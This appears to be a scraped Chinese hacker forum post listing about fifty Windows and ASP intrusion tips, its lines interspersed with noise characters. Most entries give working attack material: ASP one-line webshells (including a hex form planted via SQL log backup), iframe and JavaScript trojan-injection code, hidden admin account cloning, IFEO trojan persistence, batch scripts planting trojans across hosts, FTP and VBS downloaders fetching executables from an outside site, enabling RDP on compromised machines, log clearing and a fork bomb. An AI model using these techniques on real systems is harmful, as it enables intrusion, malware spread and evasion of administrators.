Xp系统修改权限防止病毒或木马等破坏系统,cmd下,2 l7 z& ]9 T) m( l, Z0 }, X2 g+ Q
cacls C:\windows\system32 /G hqw20:R! n, d& ^/ W+ t" b) }# h9 Y' X6 Q
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入
: t9 a; z; b/ n) l7 j m恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F1 I! _ u0 A9 l6 b3 \
4 n8 f* h# W3 e* \3 ^2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。2 U2 B) G; E5 N% n( v2 ~
, m. g% v }4 a H$ L
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。# e0 U/ A# |9 I
0 g, @7 k& x! |" ^6 r
4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号0 r) G& p- ]' b/ W- z! \
. X$ u$ M% ]8 H5、利用INF文件来修改注册表2 F* S& `% |% k8 I W# Z/ z' d
[Version]
1 N' c; |& {2 bSignature="$CHICAGO$"4 U" k# X9 K% T$ B: d
[Defaultinstall]
" ~9 {6 g T( [1 |9 I$ f* y8 kaddREG=Ating4 v {* J5 Z' a; \, L* R
[Ating]2 a! S: T% `9 t# k
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1" p' i7 D' ]4 _# x
以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:
- u v8 j. i% [$ ^" @( G6 krundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径. N1 V0 F9 J- I- ]2 g& O4 s, R/ ]
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU! ?* W% r7 b L% L& m( N
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU, Q! z! \; H. {; L% y$ G
HKEY_CURRENT_CONFIG 简写为 HKCC
- [" A8 d* V+ L! f) e0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值9 i( |7 U4 E% M1 X7 O0 w: S
"1"这里代表是写入或删除注册表键值中的具体数据% {# q D/ R3 t, S' |
& I: s+ P: L" t. U7 L9 ~
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,
7 d: d$ x3 i8 U* H: U0 e1 }多了一步就是在防火墙里添加个端口,然后导出其键值
- h8 L+ ], f# V, t& h$ y$ I9 h7 v& w[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
/ g7 b6 u7 c, n0 b8 W/ W* z+ R2 b3 a9 O+ j* h% |, Z6 C
7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽
* \9 {9 w1 E$ u$ g在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
; v. v# g9 f- ]$ M
* P! n5 Q( j" L% f3 A% F. b& d8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。
* ]- Q4 h; m# A6 P8 ?4 x. f; N+ j7 h l6 {
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,+ ?. e6 L1 E1 ^0 R
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
Z& z9 m- U! I, z3 Y+ \! Q) \- n) Y0 l! i3 f; _; ?+ f
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”5 Q: h& j' U- I& C. k& G! D
1 ?% Z! r. d4 k
11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,- g1 u. H H, `2 h" h X
用法:xsniff –pass –hide –log pass.txt+ W7 l7 x: h1 Q1 A: |! C
( c1 a; t4 I! U# D3 P3 e. w! S
12、google搜索的艺术2 I. Y/ e$ o2 f2 D$ X
搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”
: }& |* C7 d Z& ~3 W/ ?4 ~或“字符串的语法错误”可以找到很多sql注入漏洞。
' {* U# W0 g; `' g0 {' j6 ?. E6 ^# B3 W; n: X
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。4 {( l8 l& H1 _) ]9 A" D
6 P8 O: n- D/ e0 n5 D( z. o# ]. k14、cmd中输入 nc –vv –l –p 19875 x) r: {+ `$ a# H7 b
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃1 s. z q1 c- \# w& ~/ u
% p$ T u$ c% z8 w( V
15、制作T++木马,先写个ating.hta文件,内容为
1 _ g- g# C% ]) d6 v% a/ f" `<script language="VBScript"> X) |& G& ]" }5 m& L
set wshshell=createobject ("wscript.shell" )
C* |9 H2 k0 P' g! Da=wshshell.run("你马的名称",1)
3 {$ B9 d' k' G" y _" |/ _1 L8 [window.close
. b7 {3 C7 L5 r3 u5 W5 e</script>
8 \ h2 k q0 M; I. T. m8 Y$ e) i: G* Y再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。9 L' s8 [. P- |- P9 ^& i' b3 C
/ K4 f4 x; B6 e- x16、搜索栏里输入9 n ~4 ~4 U0 c Y Q1 ~
关键字%'and 1=1 and '%'='
8 N6 l* r1 m: M# T% K关键字%'and 1=2 and '%'='
! t* r$ x3 C( I$ {* D- `" b6 b比较不同处 可以作为注入的特征字符9 t1 s$ [7 C4 h- D" u
9 K% t! w% V+ [8 y; C5 I17、挂马代码<html>
9 T4 F$ L; D J8 I<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>$ h1 U* B% r- W# z! [
</html>' V- f0 K) Z- Z9 ?, t, a
6 j4 P5 y: E/ ~# d; B8 ^' S! i1 [
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,
( L0 M' M; }" f( k ^net localgroup administrators还是可以看出Guest是管理员来。, i$ A- R* ~6 F4 l) T/ D$ ^* N
6 \# ~' Q% i( J- W% v19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
( f, W2 ?% H1 K* K2 ]6 v+ O# f用法: 安装: instsrv.exe 服务名称 路径. p9 _6 V: x: l9 a- T: s+ V8 ?
卸载: instsrv.exe 服务名称 REMOVE
3 W7 h. t# S9 P: l& O: E$ E# f. G& I2 d9 G6 V% h6 N6 b0 ~* o' o4 L
8 V4 i! Z; n, |( X0 X) W21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉 ]) u2 g0 A2 w- G
不能注入时要第一时间想到%5c暴库。
7 K8 V/ I [/ P% g
' A0 d1 g4 D+ `. `- T' f22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~% ~' N0 H* Z5 A# _, z
: r9 P$ @7 d `) M- i4 ]23、缺少xp_cmdshell时" I9 O% @2 q$ C" r. q" q4 I& x
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
. |- t) x- W6 P1 T0 \5 G假如恢复不成功,可以尝试直接加用户(针对开3389的)
+ l1 [) X% G: ]/ Y0 ddeclare @o int
$ {7 _7 f9 l; l7 `exec sp_oacreate 'wscript.shell',@o out
, M; B2 E& K: S' L/ w% M* uexec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
2 x R9 k7 Y8 d5 ?. c; t* v6 J7 y( ]8 N
24.批量种植木马.bat+ a2 J$ t) N: \7 t% l+ T+ \' u, Y C
for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中! S2 `1 \/ p! |4 O. D' p
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
7 g1 `' y3 e5 } t3 x4 t扫描地址.txt里每个主机名一行 用\\开头 Q: A2 w$ a4 O$ i ?
+ P" t1 e( u: S. K; P( U" `
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。
9 {& l% v* y6 n8 m# ]3 O0 P& C% R% C" Y4 N! B
26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.
/ n' {& `! u1 w0 I0 z将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
; d0 f! ], B e3 z0 S+ E9 L.cer 等后缀的文件夹下都可以运行任何后缀的asp木马* {: ] j. Q1 \6 l+ @
8 b3 ^) u5 T7 S2 {27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP$ n( \: D$ u( R, J% Y6 G8 Y
然后用#clear logg和#clear line vty *删除日志
: R! s4 t9 A6 \4 e- I3 {; b7 I6 `7 q9 L% d/ f7 [* B5 U9 c
28、电脑坏了省去重新安装系统的方法
+ w3 u5 f( v R: U. ?, N( t纯dos下执行,
* {9 D3 K: d& d. _+ z( Pxp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
2 Z) I% y; g" `; X; g2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config
, c& M" ]# o" Z% G- D2 k! N; i2 k' A9 }, o2 q% U( U' J- h: V
29、解决TCP/IP筛选 在注册表里有三处,分别是:
5 K; t1 v- k1 W! eHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
/ C9 A1 U! N' wHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip& u7 C1 G9 `. H1 x( X' }3 p
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip& |) d* {% \. k( `6 V# ?* w
分别用, p, V) i. j% g8 s+ C
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
2 D- \9 K" l( ?7 f: Lregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip8 u: d2 W: ^- c2 D" U; j. ]
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip4 t( T, p3 V: K2 T/ ^; C! b
命令来导出注册表项- ^# f \' _& B6 s% N7 t
然后把三个文件里的EnableSecurityFilters"=dword:00000001,; d7 T- k6 D1 O3 f* s& K4 Q
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用
1 j- k1 i/ k: ~1 R. d$ y7 F' Nregedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。4 E; S# e4 p$ R6 I
0 x4 c+ ^2 G( S- d9 X30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U! I& u3 o- d! U2 p
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
! L% S3 r* v5 ~1 S% u; {5 h, g
/ D- f1 k6 Z7 i U0 {5 \% p7 [' z7 g% V31、全手工打造开3389工具 T, M! E5 j+ e0 K) C, p
打开记事本,编辑内容如下:
/ u2 ~6 |+ F* r$ m, r0 L/ }) y# cecho [Components] > c:\sql
8 S# K; Q# A. O- a: W3 ?0 t9 S+ p! d2 P/ Necho TSEnable = on >> c:\sql6 `* G0 _3 e& y$ [/ _
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q6 K0 B8 m7 a2 `& |
编辑好后存为BAT文件,上传至肉鸡,执行" l8 s& S4 [' U
! d! n- _8 C; u( z+ }) L
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马- w$ w# c7 K! f' L4 ]: E% ^
. A2 R2 }8 h+ H! |& h7 z* ^0 j3 f' C33、让服务器重启
6 }+ A& X8 T, x' k写个bat死循环:
) y+ {. j/ X& ]6 T9 ?@echo off
9 r8 ?& ~& ]% t; e& k7 g; e/ w:loop1
: c0 {; n, J# I% Kcls" E: O/ r0 a/ K3 N7 s3 M! k
start cmd.exe
1 R$ t* b% v. Ngoto loop17 Q0 b6 G9 m3 H# c2 \" d
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启/ `2 ~" M+ h! z& A
& S, p; M" x4 a+ o34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,
; ?) t# z- [( y@echo off# \$ j+ K( V8 a8 P3 @
date /t >c:/3389.txt
5 h6 Q4 t ?0 a9 B; Dtime /t >>c:/3389.txt+ E( [. y7 U4 B t8 S- N" g5 O6 L
attrib +s +h c:/3389.bat
1 l* P, _9 P: X8 l5 yattrib +s +h c:/3389.txt
' x A6 E: C. Knetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
$ v! S3 V% {6 j并保存为3389.bat
9 D8 [! X0 h# ?+ ~打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号+ W2 @. M. u2 L8 N
; b4 [6 y/ F3 @5 b0 ]) D35、有时候提不了权限的话,试试这个命令,在命令行里输入:2 X2 \6 X. y- |* h$ ?
start http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)
2 k# H8 s+ o. b3 Z, H: q输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。8 A% e. _& ~2 U# ?6 `4 l, O3 h
0 x% P2 a3 c' \" m( e7 a- o36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件
$ |4 ]. @' _+ \6 Aecho open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址5 b# v! X# E( h7 }3 ~( O1 J
echo 你的FTP账号 >>c:\1.bat //输入账号1 x, ~1 Q& ?' o3 ^
echo 你的FTP密码 >>c:\1.bat //输入密码! n, B3 G6 W# O9 K' a |* `
echo bin >>c:\1.bat //登入1 ~8 ^. Y8 [% Y' M
echo get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么3 K' ^7 a1 x# ?; @( u4 R/ c
echo bye >>c:\1.bat //退出
! k' I$ p" Y1 _7 ]" F0 o然后执行ftp -s:c:\1.bat即可
) F4 d1 y" [/ [3 o1 }6 N
) n4 a: q; @, g37、修改注册表开3389两法" J) s7 F7 [1 ?: c3 I1 i
(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
9 d! Y1 O4 E( D0 _echo Windows Registry Editor Version 5.00 >>3389.reg
$ i' a7 \( ]9 K- C8 A& qecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg' l* H3 g2 g p9 F& J# d$ T
echo "Enabled"="0" >>3389.reg }! [% L3 U a# P& C) C
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows- X' b6 v5 J0 a' ^7 A8 y
NT\CurrentVersion\Winlogon] >>3389.reg a7 |1 u3 @) i! Y4 e3 Q; H! i
echo "ShutdownWithoutLogon"="0" >>3389.reg2 d' N8 _+ z' b3 x# E( Y
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
( R6 g. j" w; I W5 O( Q>>3389.reg
& D" H( l. e6 R P) D3 Pecho "EnableAdminTSRemote"=dword:00000001 >>3389.reg
5 n0 {9 T, ?+ v( t/ p3 x" ^echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]4 C& z9 L& k1 c
>>3389.reg
+ V: p: N& ^2 W5 Kecho "TSEnabled"=dword:00000001 >>3389.reg
) s# Y+ j; t1 I" lecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg! Y0 d7 E6 d7 ?7 L& q4 X4 z( D* ]
echo "Start"=dword:00000002 >>3389.reg
* X0 j) X- `$ [8 z* I4 C# A* xecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
! C. c3 S2 l; u. T! h>>3389.reg" l* y1 m0 x Y! C4 H
echo "Start"=dword:00000002 >>3389.reg6 S; F9 F" ?; Y$ V0 x: [ ]
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg x+ ^0 }3 P- K4 [
echo "Hotkey"="1" >>3389.reg. \) e" \, r* _& X& v2 i
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal( p8 _0 s* S1 J) Y" l1 J
Server\Wds\rdpwd\Tds\tcp] >>3389.reg
9 v" L* |0 _# l I# t8 X5 o, ^echo "PortNumber"=dword:00000D3D >>3389.reg
# s0 ]$ g/ [# W5 Q6 Necho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
. Q* l! U: ~# u" _2 s$ o2 U3 ^Server\WinStations\RDP-Tcp] >>3389.reg7 w4 h7 A# m0 @( ?: ^ k/ P5 X& H
echo "PortNumber"=dword:00000D3D >>3389.reg0 k& O# N. B, }- H" g' Z* S2 `
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。) B! f5 T6 j4 S) ~
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)
0 d" [: P8 m9 j& M. c, m; i因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效5 E* q% Q7 V! J$ i
(2)winxp和win2003终端开启
0 O4 @: ^# M+ a7 i1 S, c用以下ECHO代码写一个REG文件:+ F8 D& p! P6 ~" p- K, @
echo Windows Registry Editor Version 5.00>>3389.reg% D1 h3 R- P: V# F0 Y- i6 u
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
/ O1 u& U- t( H1 ]Server]>>3389.reg
5 v: L; I% s7 z. R) P1 x Wecho "fDenyTSConnections"=dword:00000000>>3389.reg0 z: Z- E: @; H+ `3 p- n( @8 s
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal0 x9 D$ ?) |9 T: s$ z( @4 w/ S
Server\Wds\rdpwd\Tds\tcp]>>3389.reg* b; L h7 z+ \- R6 p! y) S# ^% Q8 l
echo "PortNumber"=dword:00000d3d>>3389.reg
1 u" |3 N8 }" m6 \( u/ D3 L" D" s* Kecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal, H: W1 V2 {/ ]& z( t" W, {( {
Server\WinStations\RDP-Tcp]>>3389.reg; Z& }7 Z# W. z& a! ~1 c' W
echo "PortNumber"=dword:00000d3d>>3389.reg
0 {+ E( `* X3 A2 ^- d然后regedit /s 3389.reg del 3389.reg
' p) I" v8 o# v/ z, BXP下不论开终端还是改终端端口都不需重启
! z* g: }" U. G' X2 \5 M0 K9 D r* G# M7 C
38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃
- {2 J i' V1 X用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'# U5 e5 F% F6 {
; M8 t: f: _7 f* ~1 o
39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!
) Z3 ]; I- S. C" w1 m' B(1)数据库文件名应复杂并要有特殊字符5 b$ G9 e4 E. ?% ]5 q; O
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源
1 {# T" b8 Q2 O将conn.asp文档中的% n5 q) ], u1 ]; _
DBPath = Server.MapPath("数据库.mdb")
3 | e9 y- s% E7 u5 w1 E$ ]* M' b! tconn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
! q1 B& S+ B7 N/ k1 K" g% z2 C' ?9 ]
修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置4 @7 U3 ?& r1 \$ R) Z8 r6 B$ y
(3)不放在WEB目录里: i) b! t0 v( x. N I" @
: a H3 o- ~* @/ c0 n4 l
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉4 G1 p' @+ Z( K" Y! {# W2 q
可以写两个bat文件
; {% W! o7 a. \5 H9 u@echo off: } L4 r! v, K
@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe( J' B/ r' i9 q$ }
@del c:\winnt\system32\query.exe) }- N7 ~4 U2 l
@del %SYSTEMROOT%\system32\dllcache\query.exe$ X' R' w3 u+ Q% E8 V% t# I
@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的9 D" H; w, E0 ~5 M4 a; L. ?
" f% M% k4 M' c' D
@echo off
* k/ `& R- L0 m8 t# S' R) T@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe4 V+ j7 F) q" @- w
@del c:\winnt\system32\tsadmin.exe3 p! A5 V- G0 W4 s2 n
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex& x* | f9 Z0 G( H
" [- I& s/ P0 s6 t9 a* X, u! G
41、映射对方盘符% k/ _( |& y2 ^3 a9 W. {: ^/ K0 p7 Z
telnet到他的机器上,
6 e4 l. D3 w$ a' E0 G% O6 Mnet share 查看有没有默认共享 如果没有,那么就接着运行' b" Q$ L+ _ l x2 o+ Q
net share c$=c:, M; i) b3 X0 Y. ]
net share现在有c$
$ ~: {. W/ ?" h$ P4 k在自己的机器上运行
8 m+ E1 C; k2 @1 o5 Z2 }net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K; L; ?5 M5 W( G
0 Q5 Y* V- k% V2 `' e42、一些很有用的老知识% N$ G1 P( S. y/ p0 f
type c:\boot.ini ( 查看系统版本 ); i) h3 X& @ `1 A$ z n' ?
net start (查看已经启动的服务)4 H% r9 v6 w$ | K1 @( A! j
query user ( 查看当前终端连接 )4 ]1 g3 g9 m' e' q1 X- Y
net user ( 查看当前用户 )
7 p7 ]- p7 G, i: s8 Z7 m- Unet user 用户 密码/add ( 建立账号 )
; [1 H6 _. l9 @4 Bnet localgroup administrators 用户 /add (提升某用户为管理员)
3 ]3 G. U$ L& z" W% v3 r) ~ipconfig -all ( 查看IP什么的 )7 W0 `5 s9 N' w3 d: M, H
netstat -an ( 查看当前网络状态 )8 F+ C$ d" z/ u+ L7 O; j
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
" o. I9 R( ]: j6 V8 W克隆时Administrator对应1F48 [) b I' ?8 B& Y3 d) i
guest对应1F5
4 |* J% N$ c, t6 Ttsinternetuser对应3E8
. q/ k: [* l+ S& h% v. Y0 g6 c* P% |& V
43、如果对方没开3389,但是装了Remote Administrator Service
% j# H2 _. y( ]' Q! a; u9 f6 P% I用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
. F# h& k& a, q解释:用serv-u漏洞导入自己配制好的radmin的注册表信息+ {8 V! _8 u# G* x. K( ^
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"; Z; T0 X' H' z: z9 u5 N5 c
: M) I4 t& B/ ^* v44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定): A8 v5 o. L s# L" z
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
: v( ?% U/ U- {6 i: H+ B2 Q
* H! D8 N1 j: X0 E2 J. _# }- k45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)( ^% j3 d9 j/ d
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open2 g* H- m0 r$ s! i/ ?
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =
& d5 h0 t \* K6 ZCreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =9 \# u8 m% J- M; r
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs. r5 s" h- F4 N& C3 I" H- w
(这是完整的一句话,其中没有换行符)5 e7 Q* k4 j! S+ }9 h0 F" Q
然后下载:1 F4 }9 c1 X8 `
cscript down.vbs http://www.hack520.org/hack.exe hack.exe: h% V9 y# P3 J& J) d! v
7 p* [7 ^6 u; E9 y% b/ _46、一句话木马成功依赖于两个条件:& v8 T5 I- R5 V0 F. Z: C; i1 `* i
1、服务端没有禁止adodb.Stream或FSO组件2 M) V; ~+ z( ]' H. E* e4 N1 Z0 q: x8 d
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。
; z% m" E- H) l O
' e! x. _2 j* V' b5 U47、利用DB_OWNER权限进行手工备份一句话木马的代码:
# {3 M6 B0 t" w7 f r+ P/ X;alter database utsz set RECOVERY FULL--
6 [3 z. J& x1 Q3 D4 u/ };create table cmd (a image)--) m+ g6 O" w* |1 a% c) Y% b& Q; J. m# C
;backup log utsz to disk = 'D:\cmd' with init--
( F9 p; U! M X- t# ]% J# s$ ^;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--1 r* M; i* a" q3 ?2 o1 O( Y
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--5 z* d, [0 ^8 R+ f, g) B$ M- V
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。
. f+ P7 W8 B6 e4 A+ I/ L7 I4 h# }$ k3 _& T$ ? P
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
* B) P; d- G! _$ k' ~1 r8 K# |0 _' W2 N
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
" @% V. \2 M, \/ u3 H所有会话用 'all'。
3 z1 i& h/ q5 j-s sessionid 列出会话的信息。" k1 D' l$ h4 s l" X& M: C
-k sessionid 终止会话。
0 ], d" v" v: K+ y( f" o) R-m sessionid 发送消息到会话。5 y9 I& H+ I) H4 R8 d
' e8 N& `2 y2 g' _, r) @
config 配置 telnet 服务器参数。
) c/ U0 u0 Z+ L
( P$ v; t8 c( l; w1 h" |4 B- }common_options 为:
7 L2 r3 M9 M( P-u user 指定要使用其凭据的用户$ \ I* A3 e; A% s: t' _7 b
-p password 用户密码2 g. H1 O: K% M; r# N) Y; Q
# Q, ~" `; L5 O& v" o/ N$ Cconfig_options 为:: y( s! ~8 l: Y
dom = domain 设定用户的默认域4 O, w! F/ Q* Z, k G; K% t1 d8 x
ctrlakeymap = yes|no 设定 ALT 键的映射
R2 A' l2 ]& Wtimeout = hh:mm:ss 设定空闲会话超时值
! y. r: t+ J7 U* n1 Wtimeoutactive = yes|no 启用空闲会话。
' W* n2 t; e$ E8 I% V1 ~( j. A/ M3 J1 O0 kmaxfail = attempts 设定断开前失败的登录企图数。
- R" ? N+ N6 K7 v: ]/ H% L/ x4 umaxconn = connections 设定最大连接数。+ e# a- ~; v3 }, D6 r5 I: k0 `
port = number 设定 telnet 端口。6 C: C, `# P7 o B( n9 T/ S
sec = [+/-]NTLM [+/-]passwd
$ \/ j) m$ Z1 j4 s: o* s' R设定身份验证机构
" l$ D1 E9 l- U% D& E3 E; u; ^. tfname = file 指定审计文件名。
' R9 M2 X5 Q) L0 I% Nfsize = size 指定审计文件的最大尺寸(MB)。, S+ h' [; \4 a, e; p) M& K
mode = console|stream 指定操作模式。
" r( @2 g/ o# O: I0 x' ?1 rauditlocation = eventlog|file|both ?: ~4 E& O' W! [) _% Q
指定记录地点
6 I/ d0 V% e" m) Q9 X& U. Saudit = [+/-]user [+/-]fail [+/-]admin1 W7 t+ o6 e3 d; h k8 V
, [2 d7 X) r2 l/ {- k& c
49、例如:在IE上访问:' e' w4 h- s) a
www.hack520.org/hack.txt就会跳转到http://www.hack520.org/+ w) s& T, h& S) `% m* e% j
hack.txt里面的代码是:
: N/ T3 v+ H& x, J7 u3 o<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">' _- F3 f* u8 Z9 [" u
把这个hack.txt发到你空间就可以了!
1 n+ n- N& l2 S+ E这个可以利用来做网马哦!& y: B; l5 z6 w1 O* c U+ x
0 s) N4 L) S; y& b @0 D50、autorun的病毒可以通过手动限制!+ A- v1 J! Z' w7 q
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!
* x ^9 Y3 B# U9 s: x2,打开盘符用右键打开!切忌双击盘符~9 @0 u; I- x1 ^
3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
2 Q% A/ G* n8 a$ v: a( \
- E( _' o9 @: ~9 Z. L. W- p51、log备份时的一句话木马:
6 g# b1 j- U) b1 O# ~; [; }4 ?a).<%%25Execute(request("go"))%%25> |4 g/ c/ s; Z0 E4 d- c f
b).<%Execute(request("go"))%>4 N; q& `4 S' [/ C$ _
c).%><%execute request("go")%><%
8 j* p% r5 z, [3 V5 i" q G/ dd).<script language=VBScript runat=server>execute request("sb")</Script>
1 w. k8 B2 b( T7 S7 |: }& l# c- ?" de).<%25Execute(request("l"))%25>9 d( r3 j4 |. F/ ~: p% c/ B
